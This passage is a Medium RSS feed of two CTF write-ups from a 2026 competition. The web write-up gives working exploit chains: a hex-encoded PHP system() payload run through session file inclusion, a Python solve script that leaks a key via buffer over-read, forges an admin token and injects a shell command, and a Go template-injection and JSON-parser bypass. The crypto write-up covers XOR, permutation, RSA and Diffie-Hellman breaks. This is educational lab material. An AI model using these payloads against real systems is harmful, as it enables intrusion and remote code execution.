<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by محمد بن إبراهيم on Medium]]></title>
        <description><![CDATA[Stories by محمد بن إبراهيم on Medium]]></description>
        <link>https://medium.com/@mohammadibnibrahim?source=rss-6cbde75e0036------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*3dajmtjnPcgKmp2GcxUxzg.png</url>
            <title>Stories by محمد بن إبراهيم on Medium</title>
            <link>https://medium.com/@mohammadibnibrahim?source=rss-6cbde75e0036------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 18:33:07 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mohammadibnibrahim/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Web Challenges — ZINAD x ITI Cyber Champion CTF 2026]]></title>
            <link>https://mohammadibnibrahim.medium.com/web-challenges-zinad-x-iti-cyber-champion-ctf-2026-198fd5caba9a?source=rss-6cbde75e0036------2</link>
            <guid isPermaLink="false">https://medium.com/p/198fd5caba9a</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[محمد بن إبراهيم]]></dc:creator>
            <pubDate>Mon, 09 Feb 2026 15:22:54 GMT</pubDate>
            <atom:updated>2026-02-09T15:22:54.179Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Blor0bzNiqtPWO1x" /></figure><h3>بسم الله الرحمن الرحيم</h3><p>In this writeup, I’ll explain the Web challenges I solved that were in the ZINAD x ITI Cyber Champion CTF 2026, I solved almost all challenges except for a single challenge, in sha’ Allah the writeup is simple and easy to understand. Also, I would like to thank my team Sp3c0ps for their hard work and consistency!</p><h3>IntraPortal</h3><p><strong>The Challenge:</strong> IntraPortal is an internal corporate portal system. We were given a link to the instance but no source code initially.</p><p><strong>Reconnaissance:</strong> First, we explored the application. We found a few interesting things:</p><ol><li>A debug page at /debug.php which showed use the phpinfo() output.</li><li>A registration page at /register.php.</li><li>A Jenkins instance at /jenkins/!</li></ol><p>Inside the Jenkins workspace (/jenkins/workspace/app-prod/), we found the source code backup files!</p><p><strong>auth.php:</strong></p><pre>// Step 2: Check for dangerous patterns (defense in depth)<br>    if (!checkDangerousPatterns($username)) {<br>        logSecurityEvent(&#39;REGISTER_BLOCKED&#39;, &#39;Dangerous pattern detected in username&#39;);<br>        return [<br>            &#39;success&#39; =&gt; false,<br>            &#39;message&#39; =&gt; &#39;Username contains invalid characters.&#39;,<br>            &#39;user_id&#39; =&gt; null<br>        ];<br>    }<br>    // Step 3: Process username (legacy format support)<br>    $processedUsername = processUsername($username, $format);</pre><p><strong>functions.php:</strong></p><pre>function processUsername($username, $format = &#39;plain&#39;) {<br>    if (LEGACY_ENCODING_SUPPORT &amp;&amp; $format === LEGACY_FORMAT_VALUE) {<br>        // Legacy hex-encoded format from old mobile app<br>        $decoded = @hex2bin($username);<br>        if ($decoded !== false) {<br>            return $decoded;<br>        }<br>    }<br>    return $username;<br>}</pre><p><strong>The Vulnerability:</strong> The vulnerability lies in how the username is processed in auth.php. The application checks for dangerous characters before decoding the hex string.</p><ol><li><strong>Validation:</strong> The security check checkDangerousPatterns($username) (defined in auth.php) looks at the raw input. If we send a hex string (e.g., 3c3f...), it only sees numbers and letters, which are safe.</li><li><strong>Decoding:</strong> After the check passes, processUsername() decodes the hex back to its original value (e.g., &lt;?php ... ?&gt;).</li><li><strong>Session Injection:</strong> The decoded username is stored in the session. Since phpinfo() showed session.serialize_handler = php, we can inject arbitrary session variables or PHP code!</li></ol><p>But where do we execute it? We found a legacy.php file that takes a page parameter:</p><pre>include($page);</pre><p>This is a classic Local File Inclusion (LFI). We can use it to include our session file!</p><p><strong>The Attack Logic:</strong></p><ol><li><strong>Inject Payload:</strong> Register a user with a hex-encoded PHP payload (e.g., &lt;?=system(&#39;cat /flag.txt&#39;)?&gt;). This gets stored in /tmp/sess_[YOUR_SESSION_ID].</li><li><strong>Trigger LFI:</strong> Visit legacy.php?page=/tmp/sess_[YOUR_SESSION_ID].</li><li><strong>RCE:</strong> The server includes the session file, sees the PHP tags, and executes the command!</li></ol><p>The bypass was simply that the web app only checks for dangerous characters before decoding the hex. However, it performs 0 checks after decoding later, that’s why we’re able to inject in the username field which is essential in how the token is generated.</p><h3>Back2Basics</h3><p><strong>The Challenge:</strong> We were provided with the source code (server.cpp) for a custom C++ web server named “NoteVault”. It implemented its own session management and administrative logging functionality.</p><p><strong>Target:</strong> <a href="https://3.250.2.237/">https://3.250.2.237/</a></p><p><strong>server.cpp:</strong></p><pre>// 1. A Struct Layout<br>struct RequestContext {<br>    char host[256];<br>    char sessionCache[48]; // sessionCache is right after host!<br>    int hostLen;<br>};<br>// 2. The Overflow<br>// This block executes if the Host header is &gt;= 256 bytes.<br>// It copies exactly 256 bytes into host, failing to null-terminate it.<br>if (len &gt;= sizeof(ctx-&gt;host)) {<br>    memcpy(ctx-&gt;host, headers.c_str() + start, sizeof(ctx-&gt;host));<br>}<br>// 3. The Command Injection logic<br>// The value of adminUser (derived from the session token) is inserted directly.<br>snprintf(cmd, sizeof(cmd), <br>    &quot;echo \&quot;[$(date +%%Y-%%m-%%d)] [%s] %s\&quot;&quot;, <br>    adminUser.c_str(), message.c_str());<br>FILE* pipe = popen(cmd, &quot;r&quot;);</pre><p><strong>The Vulnerability:</strong> The challenge relies on chaining three distinct vulnerabilities to achieve Remote Code Execution (RCE).</p><ol><li><strong>Memory Leak (Buffer Over-read):</strong> The Host header is copied into a 256-byte buffer (host). If we send exactly 256 bytes, the string is not null-terminated. When the server later reads host, it continues reading past the end of the array into the adjacent sessionCache, leaking the session key stored there.</li></ol><ul><li>sessionCache format: D:TS=...;SK=...</li></ul><p><strong>2. Weak Cryptography (Key Truncation):</strong> The session key is generated as 32 hex bytes, but the sessionCache buffer (48 bytes) is too small to hold the full formatted string including the timestamp and key. This cuts off the last 4 bytes of the key. Since 4 hex characters only have 16^4 = 65,536 combinations, we can easily brute-force the rest offline.</p><p><strong>3. Command Injection:</strong> The code uses popen to execute a shell command for logging. It constructs this command by inserting the adminUser string directly into the template. If we can forge a session token with a malicious username, we can execute arbitrary commands.</p><p><strong>solve.py:</strong></p><pre>import requests, base64, hmac, hashlib, re, itertools<br>TARGET = &quot;https://3.250.2.237&quot;<br># --- 1. Leak the Truncated Key ---<br># We send a host header of 256 &#39;a&#39;s. This fills the host buffer completely.<br># Due to the lack of null-termination, reading &#39;host&#39; also reads &#39;sessionCache&#39;.<br>payload = &quot;a&quot; * 256<br>r = requests.get(f&quot;{TARGET}/api/server/info&quot;, headers={&quot;Host&quot;: payload}, verify=False)<br># Extract the leaked (but cut off) key from the response<br>leak = re.search(r&#39;SK=([^;&quot;]+)&#39;, r.text).group(1) <br>print(f&quot;Leaked Partial Key: {leak}&quot;)<br># --- 2. Recover the Full Key ---<br># We need a valid token to verify our guesses.<br># (Assume we registered &#39;user&#39;/&#39;pass&#39; and grabbed the token from cookies)<br># r = requests.post(f&quot;{TARGET}/api/login&quot;, ...)<br># valid_token = r.cookies.get(&quot;token&quot;)<br># For demonstration, assume valid_token is obtained...<br># Token format: payload.signature<br>payload_b64, sig_b64 = valid_token.split(&quot;.&quot;)<br>payload = base64.b64decode(payload_b64 + &quot;==&quot;).decode()<br>print(&quot;Recalculating key...&quot;)<br>chars = &quot;0123456789abcdef&quot;<br>full_key = &quot;&quot;<br># Try every possible 4-character suffix until the signature matches<br>for suffix in itertools.product(chars, repeat=4):<br>    candidate = leak + &quot;&quot;.join(suffix)<br>    # Check if this key generates the correct signature for the payload<br>    sig = hmac.new(candidate.encode(), payload.encode(), hashlib.sha256).digest()<br>    if base64.b64encode(sig).decode() == sig_b64:<br>        full_key = candidate<br>        break<br>print(f&quot;Recovered Full Key: {full_key}&quot;)<br># --- 3. Forging &amp; Injection ---<br># We forge a token for a user named &quot;$(env | tr &#39;\n&#39; &#39;|&#39;)&quot;<br># The &#39;tr&#39; command replaces newlines with pipes so we can see the whole output<br>malicious_user = &quot;$(env | tr &#39;\\n&#39; &#39;|&#39;)&quot;<br>ts = 0 # Timestamp doesn&#39;t effect logic<br># Construct payload: username:role:timestamp<br>fake_payload = f&quot;{malicious_user}:admin:{ts}&quot;<br>fake_payload_b64 = base64.b64encode(fake_payload.encode()).decode()<br># Sign it with our recovered key<br>fake_sig = hmac.new(full_key.encode(), fake_payload.encode(), hashlib.sha256).digest()<br>fake_sig_b64 = base64.b64encode(fake_sig).decode()<br>forged_token = f&quot;{fake_payload_b64}.{fake_sig_b64}&quot;<br># --- 4. Execute ---<br># The server will log &quot;User: $(env...)&quot; via popen, executing our command.<br>r = requests.post(f&quot;{TARGET}/api/admin/log&quot;, cookies={&quot;token&quot;: forged_token}, data={&quot;message&quot;: &quot;pwn&quot;}, verify=False)<br>print(r.text) <br># Output contains: ADMIN_PASSWORD=ZiChamp{D0_y0u_bl333333333d?}</pre><blockquote>Check the following analogy for simplicity!</blockquote><p><strong>The Security Guard Analogy</strong></p><p>Imagine a high-security facility where a guard writes down the names of everyone who enters into a Magic Logbook. Whatever is written in this book usually stays there, but if you include a command, the book makes it happen!</p><p><strong>The Problem:</strong> The guard will only write your name if you show an ID card stamped with the <strong>Boss’s Secret Stamp</strong>.</p><ol><li><strong>The Leak (The Torn Paper):</strong> You find a piece of scrap paper where the Boss tested the stamp. The paper was too small, so the <strong>bottom edge of the stamp is missing</strong>. You can see most of the pattern, but not all of it.</li><li><strong>The Recovery (The Sketch):</strong> You take a magnifying glass and sit down. You try to draw the missing bottom edge piece by piece until you verify it looks exactly like the real stamp. Now you have the <strong>full design</strong>.</li><li><strong>The Forgery (The Fake ID):</strong> You create a fake ID card. Instead of writing your name “Bob”, you write your name as <strong>“Open The Safe”</strong>. You stamp this card with your recreated Secret Stamp.</li><li><strong>The Attack (The Entry):</strong> You show the ID to the guard. He checks the stamp, it matches! He nods and writes your name into the Magic Logbook: <em>“User </em><em>Open The Safe has entered the building.&quot;</em> The Logbook reads the command &quot;Open The Safe&quot; and, the safe opens!</li></ol><h4>How the Analogy maps to the Code</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*uZYpQGcMInHftRkMVzJofA.png" /></figure><h3>VoidProtocol</h3><p><strong>The Challenge:</strong> The application is a secure communication system written in Go, receiving requests and forwarding them to an internal Python microservice for authorization.</p><p>index.go:</p><pre>func index(c echo.Context) error {<br>    // ...<br>    // The username is injected into a format string, which is then PARSED as a template!<br>    chosenPrompt := fmt.Sprintf(terminalPrompts[rand.Intn(len(terminalPrompts))], s.User.Username, s.NbTransmissions)<br>    terminalTemplate := template.Must(indexTemplate.New(&quot;terminal&quot;).Parse(chosenPrompt))<br>    // ...<br>}</pre><p>users.go:</p><pre>func (u *User) QueryInternalAPI(jsonPayload string) string {<br>    // ...<br>    // Go parses the JSON to check for &quot;admin&quot; role<br>    if err := json.Unmarshal([]byte(jsonPayload), &amp;requestData); err != nil { ... }<br><br>    if role, exists := requestData[&quot;role&quot;]; exists {<br>        if strings.ToLower(role.(string)) == &quot;admin&quot; {<br>            return &quot;ERROR: Access denied - admin role requests are blocked&quot;<br>        }<br>    }<br>    // Forward to Python service if check passes<br>}</pre><p>app.py:</p><pre># Uses ujson to parse the forwarded JSON<br>import ujson<br><br>@app.route(&#39;/api/v1/authorize&#39;, methods=[&#39;POST&#39;])<br>def authorize():<br>    data = ujson.loads(request.data)<br>    if data.get(&#39;role&#39;) == &#39;admin&#39; and data.get(&#39;action&#39;) == &#39;access_classified&#39;:<br>        return FLAG</pre><p>Before continuing, I must explain something firstly:</p><blockquote><strong>What is a “Surrogate Character”?</strong></blockquote><blockquote>To understand the exploit, we need a quick lesson on Unicode.</blockquote><blockquote>Most characters (like ‘A’, ‘b’, ‘1’) fit in 1 or 2 bytes.</blockquote><blockquote>Some rare characters (like emojis 😀) need 4 bytes.</blockquote><blockquote>In some systems (<em>like UTF-16</em>), these 4-byte characters are split into two 2-byte pairs called “<strong>Surrogates”</strong>.</blockquote><blockquote>A “<strong>Lone Surrogate”</strong> is when you have the first half of the pair but are missing the second half. It’s like having a left shoe without a right shoe, invalid and meaningless on its own.</blockquote><blockquote>Go sees this invalid “broken shoe” and replaces it with a placeholder ().</blockquote><blockquote>ujson just ignores the “broken shoe” completely and keeps reading the rest of the word.</blockquote><p><strong>The Vulnerability:</strong> There are two vulnerabilities chained together here:</p><p>1. <strong>SSTI (Server-Side Template Injection):</strong> in index.go, the user input (s.User.Username) is passed to fmt.Sprintf and then to template.Parse. This allows us to inject Go template actions like {{ .User.QueryInternalAPI … }} to execute methods on the User object.</p><p>2. <strong>JSON Parser Discrepancy:</strong> The Go code blocks the string “admin”. However, the internal Python service uses ujson (<em>specifically version 5.0.0</em>). We found that ujson has a quirk where it drops “lone surrogate” characters (<em>like </em><em>\uD800</em>) from strings, whereas Go’s standard library <strong>replaces</strong> them with the Unicode Replacement Character (\uFFFD).</p><ul><li>Input: ”adm\uD800in”</li><li>Go sees: ”adm\uFFFDin” (<em>Not “admin” -&gt; </em><strong><em>PASSED</em></strong>)</li><li>Python ujson sees: ”admin” (<em>Is “admin” -&gt; </em><strong><em>GRANTED</em></strong>)</li></ul><p><strong>The Attack Logic:</strong></p><p>We cannot call QueryInternalAPI() directly from our own user because we are not admins. However, Session struct contains Transmissions, and the first transmission is always from the “SYSTEM” user, who is an admin.</p><p>1. Access the Admin User via SSTI: (index .Transmissions 0).Author</p><p>2. Call QueryInternalAPI() with the discrepancy payload.</p><p><strong>The Exploit:</strong></p><p>Register a user with this username:</p><p>{{ (index .Transmissions 0).Author.QueryInternalAPI “{\”role\”:\”adm\\uD800in\”,\”action\”:\”access_classified\”}” }}</p><p>1. <strong>SSTI</strong>: The template engine executes the code in {{ … }}.</p><p>2. <strong>Bypass</strong>:</p><ul><li>We send adm\uD800in.</li><li>Go checks adm\uFFFDin != admin. Allowed.</li><li>Go forwards adm\uD800in to Python.</li><li>Python ujson parses it as admin. Payload matches role: admin.</li></ul><p>3. <strong>Result</strong>: The flag is returned and displayed in the terminal output.</p><blockquote>If you didn’t quite get the hang of it, read the following example, I will try to make it simpler!</blockquote><p><strong>The Fake ID Analogy</strong></p><p>Imagine you are trying to enter a super-secret club (<em>The Python Service</em>). There are two bouncers you have to pass.</p><p>1. <strong>Bouncer Go</strong>: He is strictly following the rules. He has a list of banned names, and “admin” is at the top. If your ID says “admin”, he kicks you out.</p><p>2. <strong>Bouncer Python</strong>: He is the one who actually lets you into the VIP room. He only lets you in IF your ID says “admin”.</p><p>This seems impossible, right? Bouncer 1 kicks you out if you are “admin”, but Bouncer 2 only lets you in if you are “admin”.</p><p><strong>The Trick:</strong></p><p>You realize Bouncer Python has a smudge on his glasses (<em>the </em><em>ujson bug</em>). He can’t see “invisible ink” characters (<em>the </em><em>\uD800</em>).</p><p>So, you write “adm[invisible]in” on your ID card.</p><p>1. <strong>Bouncer Go</strong> looks at it. He sees the invisible ink as a weird smudge. He reads “adm?in”. He checks his list: “adm?in” is not “admin”. He says, “You’re good, go ahead.”</p><p>2. <strong>Bouncer Python</strong> looks at it. Because of his bad glasses, the invisible ink disappears completely to him. He reads “admin”. He says, “Welcome, VIP guest!” and hands you the flag.</p><h3>Follow me on social media</h3><p><a href="https://www.linkedin.com/in/mohammadibnibrahim"><em>Linkedin</em></a><em> </em><a href="https://x.com/mhmdibnibrahim"><em>Twitter</em></a><em> </em><a href="https://mohammadibnibrahim.medium.com/"><em>Medium</em></a><em> </em><a href="https://github.com/mohammadibnibrahim"><em>Github</em></a><em> </em><a href="https://spectacular-granita-3c1c14.netlify.app/"><em>Personal_Website</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=198fd5caba9a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cryptography Challenges — ZINAD x ITI Cyber Champion CTF 2026]]></title>
            <link>https://mohammadibnibrahim.medium.com/cryptography-challenges-zinad-x-iti-cyber-champion-ctf-2026-0930f9e5ffbe?source=rss-6cbde75e0036------2</link>
            <guid isPermaLink="false">https://medium.com/p/0930f9e5ffbe</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[محمد بن إبراهيم]]></dc:creator>
            <pubDate>Sun, 08 Feb 2026 22:31:25 GMT</pubDate>
            <atom:updated>2026-02-08T22:35:26.515Z</atom:updated>
            <content:encoded><![CDATA[<h3>Cryptography Challenges — ZINAD x ITI Cyber Champion CTF 2026</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7TaDPmETIaFkdC5O" /></figure><h3>بسم الله الرحمن الرحيم</h3><p>In this writeup, I’ll explain all cryptography challenges that were in the ZINAD x ITI Cyber Champion CTF 2026, in sha’ Allah the writeup is simple and easy to understand. Also, I would like to thank my team Sp3c0ps for their hard work and consistency!</p><h3>Secret Keeper</h3><p><strong>The Challenge:</strong> The script secret_keeper.py implemented a simple encryption utility using the XOR operation.</p><p>secret_keeper.py:</p><pre># The encryption function<br>def byte_xor(ba1, ba2):<br>    return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])<br><br># The &quot;Lost&quot; Key<br>key = &quot;???????????????????????????????????????????&quot; <br><br># The known plaintext<br>plaintext = &quot;The XOR cipher is a simple encryption technique that combines plaintext with a key using the exclusive OR operation&quot;<br><br># The provided ciphertext (Base64 encoded)<br>ciphertext_b64 = &quot;DgEmSDkiIlsbWQI3DhwQHh1/EUxHWAMEXx1UOloXBk0TH0gS&quot;</pre><blockquote>&gt; <strong><em>Note: </em></strong>I abridged non-important parts of the code for simplicity.</blockquote><p><strong>The Vulnerability:</strong> The challenge relies on the <strong>Exclusive OR (XOR)</strong> operation. XOR has a critical property: if A⊕B = C, then A⊕C = B, where ⊕ means XOR. In this context:</p><blockquote>Plaintext⊕Key = Ciphertext</blockquote><p>Therefore:</p><blockquote>Plaintext⊕Ciphertext = Key</blockquote><p>Because we are given the full plaintext and the ciphertext, the key is not actually &quot;lost&quot;, it is mathematically derivable. This is a textbook <strong>Known Plaintext Attack</strong>.</p><p>solve.py:</p><pre>import base64<br><br>ciphertext = base64.b64decode(&quot;DgEmSDkiIlsbWQI3DhwQHh1/EUxHWAMEXx1UOloXBk0TH0gS&quot;)<br>plaintext = &quot;The XOR cipher is a simple encryption technique that combines plaintext with a key using the exclusive OR operation&quot;<br><br># Recover Key: Key = Ciphertext ^ Plaintext<br>key = bytes([c ^ p for c, p in zip(ciphertext, plaintext.encode())])<br>print(key.decode()) <br># Output: ZiChamp{x0r_kn0wn_pl41nt3xt_4tt4ck!}</pre><h3>Text Mixer</h3><p><strong>The Challenge:</strong> textmixer.py implemented a transposition cipher that shuffled characters based on a fixed, random permutation of indices 0-15.</p><p>textmixer.py:</p><pre>import random<br><br># Generate a random permutation (this stays secret!)<br>PERM = list(range(16))<br>random.shuffle(PERM)<br><br>def mix_text(text):<br>    &quot;&quot;&quot;Apply our secret permutation to mix up 16-character text.&quot;&quot;&quot;<br>    assert len(text) == 16, &quot;Text must be exactly 16 characters!&quot;<br>    return &#39;&#39;.join(text[PERM[i]] for i in range(16))<br><br>if __name__ == &quot;__main__&quot;:<br>    # Let&#39;s demonstrate with some test patterns and the secret flag!<br>    <br>    inputs = [<br>        &quot;aaaabbbbccccdddd&quot;,<br>        &quot;abcdabcdabcdabcd&quot;, <br>        open(&quot;flag.txt&quot;).read().strip()  # The secret 16-char flag content<br>    ]<br>    <br>    for text in inputs:<br>        mixed = mix_text(text)<br>        print(f&quot;{text} -&gt; {mixed}&quot;)</pre><p><strong>The Vulnerability:</strong> The PERM list is static. The same shuffle is applied to every input. By observing how known input strings are rearranged, we can reconstruct the PERM list. We were given two pairs in a file called output_censored.txt:</p><ol><li>aaaabbbbccccdddd → aabcdacdbdcbdacb</li><li>abcdabcdabcdabcd → cdbbdbabdacacadc</li></ol><p><strong>The Attack Logic (Intersection):</strong></p><ul><li><strong>Pair 1:</strong> At output index 0, we see ‘a’. In the input, ‘a’ is at indices {0, 1, 2, 3}. So PERM[0] must be one of {0, 1, 2, 3}.</li><li><strong>Pair 2:</strong> At output index 0, we see ‘c’. In the input, ‘c’ is at indices {2, 6, 10, 14}. So PERM[0] must be one of {2, 6, 10, 14}.</li><li><strong>Intersection:</strong> The only common index is 2. Therefore, PERM[0] = 2.</li></ul><p>solve.py:</p><pre># Recover PERM by intersecting candidate sets<br>perm = [0] * 16<br>for i in range(16):<br>    candidates1 = {idx for idx, char in enumerate(in1) if char == out1[i]}<br>    candidates2 = {idx for idx, char in enumerate(in2) if char == out2[i]}<br>    perm[i] = list(candidates1.intersection(candidates2))[0]<br><br># Decrypt the flag by reversing the permutation<br># If Output[i] comes from Input[PERM[i]], then Input[k] goes to Output where PERM[i] == k<br>flag_list = [&#39;&#39;] * 16<br>for i in range(16):<br>    flag_list[perm[i]] = mixed_flag[i]<br>print(&quot;&quot;.join(flag_list))<br># Output: y0u_cr4ck3d_1t!!<br># Flag: ZiChamp{y0u_cr4ck3d_1t!!}</pre><blockquote>If you didn’t quite get the hang of it, read the following example, I will try to make it simpler!</blockquote><h4>The Card Dealer Analogy</h4><p>Imagine a card dealer who claims to be a master shuffler. However, every single time they shuffle a deck, they move the cards in the exact same pattern.</p><ul><li>The top card always goes to the 3rd position.</li><li>The bottom card always goes to the 1st position.</li><li>And so on.</li></ul><p>If you know this pattern, you can instantly “unshuffle” the deck back to its original order. That is exactly what textmixer.py did. It created a random shuffle list (PERM) once and reused it for everything.</p><p>We needed to figure out exactly where each character position moved.</p><ul><li><strong>Input:</strong> 16 characters (Indices 0–15).</li><li><strong>Output:</strong> 16 characters (Indices 0–15).</li></ul><p>We had two test cases:</p><ol><li>aaaabbbbccccdddd → aabcdacdbdcbdacb</li><li>abcdabcdabcdabcd → cdbbdbabdacacadc</li></ol><p>We traced where the characters went.</p><p><strong>Step 1: Look at the first pair</strong></p><ul><li><strong>Input:</strong> aaaa... (Indices 0, 1, 2, 3 are &#39;a&#39;)</li><li><strong>Output:</strong> Index 0 is ‘a’.</li><li><strong>Deduction:</strong> The character at Output[0] must have come from Input[0], [1], [2], or [3]. We don’t know which one yet.</li></ul><p><strong>Step 2: Look at the second pair</strong></p><ul><li><strong>Input:</strong> abcd... (Indices 2, 6, 10, 14 are &#39;c&#39;)</li><li><strong>Output:</strong> Index 0 is ‘c’.</li><li><strong>Deduction:</strong> The character at Output[0] must have come from Input[2], [6], [10], or [14].</li></ul><blockquote>We can trace any index, it doesn’t have to be 0, but 0 is the first index so it’s technically simpler and faster.</blockquote><p><strong>Step 3: Find the match (Intersect)</strong></p><ul><li>The only index that appears in <strong>both</strong> lists is <strong>2</strong>.</li><li><strong>Conclusion:</strong> The shuffle moves the character at <strong>Input Index 2</strong> → <strong>Output Index 0</strong>.</li></ul><p>We repeated this logic for all 16 positions to build a complete map. Then, we took the scrambled flag string and simply moved the characters back to their original spots.</p><p><strong>Scrambled:</strong> u_r3!0ktc1dc!y_4 <strong>Unshuffled:</strong> y0u_cr4ck3d_1t!!</p><h3>PrimeTime</h3><p><strong>The Challenge:</strong> We were given standard RSA public keys (n, e) and an encrypted message c. A separate file intercepted.txt contained a leaked value q.</p><p><strong>The Vulnerability:</strong> RSA security relies on the difficulty of factoring the modulus N into two large primes p and q (<em>N=p*q</em>). If either prime factor is revealed, the system is completely broken.</p><ol><li><strong>Find p:</strong> Since we know N and q, we simply divide: p=N/q.</li><li><strong>Calculate Private Key:</strong> With p and q, we can calculate Euler’s totient ϕ(N)=(p−1)(q−1) and then the private exponent d=e−1(modϕ(N)).</li></ol><pre>from Crypto.Util.number import long_to_bytes, isPrime<br><br># 1. Load the exact values from the challenge files<br>n = 27176393407935103481163155837427742913736162805163960331439171299917803847839120808804732675657161001205777890520029973936343262372935454665420601809184894777707812681056603978295816651555470815138953238837510805670059628515533201723738377384999931828902088379359668739224568459312311491647662096047608516941790769030123418245983210222253698355788103344141929121912734282726220821892263490249842323331218356969957620712358194016204473618770451542777841273366511873769514760320835637280801421908082271238575146984814792169032375163458775970856228129500375398873773737464366440067238916256182804432304462869247002029101<br>e = 65537<br>q_leaked = 168008506905664925715285139876758539830754830224705503363675220828724350021417486524153965414795915910336943871042520716787575587167438973647616275446906752249150745789966942951708080250022889744527067101811169627378390925138067431522589236137308344943601351833634383376801541020263961063873667195177625444329<br>c = 7542069583043416807452553211097827563470682071572429815679869990681195991689118606379814159564977708578317869931634576286998617751467377481689531028872559287315494504937856065012239953916794992144403922067468433860167270142361449581924727575288593745784169996502257109659927206432888579117792656968701076957165772580318947902569670302444363484622324132788629212183317805804668382990889253975525432562896059378168492513786491326868679194138009976194283715088628524705176665804404751533851985305547948231110262797494804504609270604282807272038498673992761913057381230614846843958234511763979488427254180506475264982385<br><br># 2. Key Recovery Logic<br>print(&quot;[-] Checking factors...&quot;)<br>if n % q_leaked == 0:<br>    p = n // q_leaked<br>    <br>    # Verify we have standard RSA (p and q are both primes)<br>    if isPrime(p) and isPrime(q_leaked):<br>        print(&quot;[+] Standard RSA confirmed (n = p * q)&quot;)<br>        <br>        # Calculate private exponent d<br>        phi = (p - 1) * (q_leaked - 1)<br>        d = pow(e, -1, phi)<br>        <br>        # Decrypt<br>        m = pow(c, d, n)<br>        flag_raw = long_to_bytes(m)<br>        <br>        print(f&quot;\n[+] DECRYPTED TEXT: {flag_raw.decode()}&quot;)<br>    else:<br>        print(&quot;[!] Warning: p or q is not prime! This might be Multi-Prime RSA.&quot;)<br>else:<br>    print(&quot;[!] Error: q is not a factor of n!&quot;)</pre><p>Or we can simply use the provided information on <a href="https://dcode.fr/">dcode.fr</a> to get the flag without writing a single line of code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tOuQxLGg_Z7GH59csK91gA.png" /></figure><blockquote>You can get started with RSA cracking <a href="https://play.picoctf.org/playlists/17?m=137">here</a> &amp; <a href="https://primer.picoctf.org/#_asymmetric_crypto_example_rsa">here</a> from complete 0.</blockquote><h3>PowerDH</h3><p><strong>The Challenge:</strong> The challenge implemented a Diffie-Hellman key exchange but used a composite modulus that was a power of 2: M=2^258. The protocol defined in the challenge file:</p><blockquote>Public Key = (5^priv (mod 2^258) ) // 4</blockquote><p><strong>The Vulnerability:</strong> The <strong>Discrete Logarithm Problem (DLP)</strong>, finding x given g^x(mod M), is only hard when M is a large prime. When M=2^k, the group structure allows us to determine the bits of the exponent x sequentially, from the <strong>Least Significant Bit (LSB)</strong> to the <strong>Most Significant Bit (MSB)</strong>. This reduces the complexity from exponential time to polynomial time.</p><p><strong>The Attack:</strong></p><ol><li><strong>Reconstruct Full Public Key:</strong> The operation // 4 drops the last 2 bits. Since 5^x ≡ 1 (mod4), we know the true value is Pub * 4 + 1.</li><li><strong>Bitwise Lifting:</strong> We solve 5^a ≡ A(mod 2^258) bit by bit.</li></ol><ul><li>If the current guess for ‘a’ produces a value that doesn’t match the target modulo 2^(i+3), we flip the ‘i-th’ bit of ‘a’.</li></ul><p>3.<strong> Decrypt:</strong> Once we have Alice’s private key a, we compute the shared secret S = B^a (mod M) and decrypt the flag.</p><p>solve.py:</p><pre>import hashlib<br><br># [cite_start]--- 1. Challenge Parameters [cite: 4] ---<br>modulus_power = 258<br>modulus = 2**258<br>generator = 5<br><br># [cite_start]Values from PowerDHCaptured.txt [cite: 4]<br>alice_pub_hex = &quot;7459b067e1972383739786f2078e6231771ad3ccf1c21a1bea8383bd52028815&quot;<br>bob_pub_hex = &quot;28332cbdff869256f5d504199e02e3a3630e23b5af5c6736a25f45b1928cb039&quot;<br>enc_msg_hex = &quot;d5177ce77bdca26952eadf8b4c35f91d31416da6d15ceb4ca9edfc73f9a95e1cbb1560e22ad5a77e57a9969a&quot;<br><br># Convert to integers<br>alice_pub = int(alice_pub_hex, 16)<br>bob_pub = int(bob_pub_hex, 16)<br>enc_msg = bytes.fromhex(enc_msg_hex)<br><br># --- 2. Reconstruct Full Public Keys ---<br># Protocol: pub = (5^priv) // 4<br># Therefore: 5^priv = pub * 4 + r<br># Since 5^x = 1 (mod 4), r must be 1.<br>A_full = alice_pub * 4 + 1<br>B_full = bob_pub * 4 + 1<br><br># --- 3. Discrete Logarithm Solver for Modulo 2^k ---<br>def solve_dlog_pow2(base, target, k):<br>    &quot;&quot;&quot;<br>    Solves base^x = target (mod 2^k)<br>    Uses lifting: determines x bit-by-bit.<br>    &quot;&quot;&quot;<br>    x = 0<br>    current_val = 1 # base^0<br>    <br>    # We find x bits from 0 to k-3.<br>    # The order of 5 mod 2^k is 2^(k-2).<br>    # Property: 5^(2^i) = 1 + 2^(i+2) (mod 2^(i+3))<br>    # This allows us to check the (i+2)-th bit of the value to find the i-th bit of the exponent.<br>    <br>    for i in range(k - 2):<br>        # We want to check if the current bit &#39;i&#39; of x should be 0 or 1.<br>        # We compare our &#39;current_val&#39; with &#39;target&#39; modulo 